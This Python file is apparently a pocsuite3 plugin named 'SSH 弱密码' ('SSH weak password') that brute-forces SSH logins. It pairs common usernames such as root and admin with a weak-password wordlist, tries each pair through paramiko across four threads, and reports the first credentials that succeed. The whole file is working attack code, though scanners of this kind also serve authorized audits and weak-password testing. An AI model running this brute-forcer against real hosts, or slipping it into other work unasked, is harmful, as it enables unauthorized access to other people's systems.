"""
If you have issues about development, please read:
https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md
for more about information, plz visit http://pocsuite.org
"""

import itertools
import queue
import logging
import paramiko
import socket
from pocsuite3.api import POCBase,VUL_TYPE,POC_CATEGORY,Output,logger,register_poc
from pocsuite3.lib.core.data import paths
from pocsuite3.lib.core.threads import run_threads


class SSHBurst(POCBase):
    vulID = '001'
    version = '3'
    author = ['seebug']
    vulDate = '2018-09-18'
    createDate = '2018-09-18'
    updateDate = '2018-09-18'
    references = ['https://www.seebug.org/vuldb/ssvid-89688']
    name = 'SSH 弱密码'
    appPowerLink = ''
    appName = 'SSH'
    appVersion = 'All'
    vulType = VUL_TYPE.WEAK_PASSWORD
    desc = '''ssh 存在弱密码，导致攻击者可连接主机进行恶意操作'''
    samples = ['']
    install_requires = ['paramiko']
    category = POC_CATEGORY.TOOLS.CRACK
    protocol = POC_CATEGORY.PROTOCOL.SSH

    def _verify(self):
        result = {}
        host = self.getg_option("rhost")
        port = self.getg_option("rport") or 22

        task_queue = queue.Queue()
        result_queue = queue.Queue()
        ssh_burst(host, port, task_queue, result_queue)
        if not result_queue.empty():
            username, password = result_queue.get()
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url
            result['VerifyInfo']['Username'] = username
            result['VerifyInfo']['Password'] = password
        return self.parse_attack(result)

    def _attack(self):
        self._verify()

    def parse_attack(self,result):
        output=Output(self)
        if result:
            output.success(result)
        else:
            output.fail('ssh target is not vulnerable')
        return output

def port_check(host, port=22):
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    connect=s.connect_ex((host,int(port)))#功能和connect相同，但是成功返回0，失败返回error的值。
    if connect==0:
        return True
    else:
        #关闭
        s.close()
        return False


def get_word_list():
    #这里修改从文件获取配置
    common_username=('ssh','test','root','guest','admin','daemon','user','cgpexpert')
    logger.info("weak_paths:{}".format(paths.WEAK_PASS))
    with open(paths.WEAK_PASS) as f:
        #[a,b] [c,d]-->[a,c][a,d],[b,c][b,d]
        return itertools.product(common_username,f)#求笛卡尔积



def task_init(host, port, task_queue, result_queue):
    for username,password in get_word_list():
        task_queue.put((host,port,username.strip(),password.strip()))


def ssh_login(host, port, username, password):
    ret=False
    ssh=None
    try:
        ssh=paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        ssh.connect(hostname=host,port=int(port),username=username,password=password,timeout=6)
        ret=True
    except Exception:
        pass
    finally:
        if ssh:
            ssh.close()
    return ret


def task_thread(task_queue,result_queue):
    while not task_queue.empty():
        host,port,username,password=task_queue.get()
        logger.info("try burst:{}:{} username:{} password:{}".format(host,port,username,password))
        if ssh_login(host,port,username,password):
            with task_queue.mutex:
                task_queue.queue.clear()
            result_queue.put((username,password))

def ssh_burst(host, port, task_queue, result_queue):
    log=paramiko.util.logging.getLogger()
    log.setLevel(logging.CRITICAL)
    if not port_check(host,port):
        log.warning("{}:{} is unreachable".format(host,port))
        return
    try:
        task_init(host,port,task_queue,result_queue)
        run_threads(4, task_thread, args=(task_queue, result_queue))
    except Exception:
        pass


##一定要注册poc插件
register_poc(SSHBurst)